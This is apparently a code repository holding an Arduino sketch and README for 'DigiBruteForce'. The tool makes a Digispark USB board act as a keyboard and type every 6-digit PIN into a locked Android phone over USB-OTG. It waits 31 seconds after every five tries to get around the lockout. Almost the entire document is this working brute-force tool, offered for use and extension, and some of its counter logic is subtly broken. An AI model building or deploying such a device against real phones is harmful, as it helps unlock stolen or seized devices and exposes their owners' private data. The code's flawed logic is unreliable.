├── DigiBruteForce └── README.md /DigiBruteForce: -------------------------------------------------------------------------------- 1 | /*=============================================== 2 | DigiBruteForce - Digispark 6-Digit PIN Brute Force attack 3 | for USB-OTG Android devices. 4 | Written to support DigiStump's DigiSpark Model A. 5 | Written by Ikteach (ikram) 6 | ===============================================*/ 7 | 8 | #include "DigiKeyboard.h" 9 | int num[] = {39, 30, 31, 32, 33, 34, 35, 36, 37, 38}; 10 | int a = 0; //1st digit 11 | int b = 0; //2nd digit 12 | int c = 0; //3rd digit 13 | int d = 0; //4th digit 14 | int e = 0; //5th digit 15 | int f = 0; //6th digit 16 | int g = 0; //7th digit 17 | 18 | int count = 0; 19 | bool key_stroke_g = false; 20 | 21 | void setup() { 22 | DigiKeyboard.update(); 23 | DigiKeyboard.sendKeyStroke(0); //this is generally not necessary but with some older systems it seems to prevent missing the first character after a delay 24 | delay(3000); 25 | } 26 | 27 | void loop() { 28 | //After 5 attempts, initialize 31000 ms wait to retry. 29 | if(count == 5){ 30 | digitalWrite(1,HIGH); //Change this to 0 if using DigiSpark model B 31 | DigiKeyboard.sendKeyStroke(40); //we hit enter to make the popup go away 32 | delay(31000); 33 | count = 0; 34 | digitalWrite(1,LOW); 35 | } 36 | /*Sends keystrokes based upon the values between 0-9 37 | It will start bruting 7 digits if a exceeds 10*/ 38 | if (key_stroke_g == false) 39 | DigiKeyboard.sendKeyStroke(num[a]); 40 | DigiKeyboard.sendKeyStroke(num[b]); 41 | DigiKeyboard.sendKeyStroke(num[c]); 42 | DigiKeyboard.sendKeyStroke(num[d]); 43 | DigiKeyboard.sendKeyStroke(num[e]); 44 | DigiKeyboard.sendKeyStroke(num[f]); 45 | //check for whether it is true. If so, use 7 digits instead. 46 | if (key_stroke_g == true){ 47 | DigiKeyboard.sendKeyStroke(num[a]); 48 | DigiKeyboard.sendKeyStroke(num[b]); 49 | DigiKeyboard.sendKeyStroke(num[c]); 50 | DigiKeyboard.sendKeyStroke(num[d]); 51 | DigiKeyboard.sendKeyStroke(num[e]); 52 | DigiKeyboard.sendKeyStroke(num[f]); 53 | DigiKeyboard.sendKeyStroke(num[g]); 54 | } 55 | DigiKeyboard.sendKeyStroke(40); 56 | delay(3000); 57 | f++; 58 | count++; 59 | //If the 6th digit is past 9, it cycles back to 0 and increments the 5rd digit 60 | if(f == 10){ 61 | f = 0; 62 | e++; 63 | //If the 5rd digit is past 9, it cycles back to 0 and increments the 4nd digit 64 | if(e == 10){ 65 | e = 0; 66 | d++; 67 | //If the 4rd digit is past 9, it cycles back to 0 and increments the 3nd digit 68 | if(d == 10){ 69 | d = 0; 70 | c++; 71 | //If the 3rd digit is past 9, it cycles back to 0 and increments the 2nd digit 72 | if(c == 10){ 73 | c = 0; 74 | b++; 75 | //If the 2nd digit is past 9, it cycles back to 0 and increments the 1st digit 76 | if(b == 10){ 77 | b = 0; 78 | a++; //if the 1st digit is past 9 it'll probably just throw out errors. 79 | if(a == 10){ 80 | //remain_true will equal true, loop through void(), and send the 7th keystroke 81 | key_stroke_g = true; 82 | g++; 83 | //Remember that brute forcing will still work, despite its strange order. 84 | //After g == 10, it will become 0 again. 85 | if(e == 10){ 86 | g = 0; 87 | } 88 | } 89 | } 90 | } 91 | } 92 | } 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DigiBruteForce 2 | Digispark 6-Digit PIN Brute Force attack for USB-OTG Android devices 3 | DigiBruteForce is Digispark 6-Digit PIN Brute Force attack for USB-OTG Android devices (such as the xiaomi Devices and Redmi Series) 4 | This code was written to support DigiStump's DigiSpark Model A and the DigiKeyboard Library. 5 | This code was written by Ikteach and is intended for Mobile Device Security Research. 6 | Improvements and expansions to this code are welcomed and appreciated. 7 | --------------------------------------------------------------------------------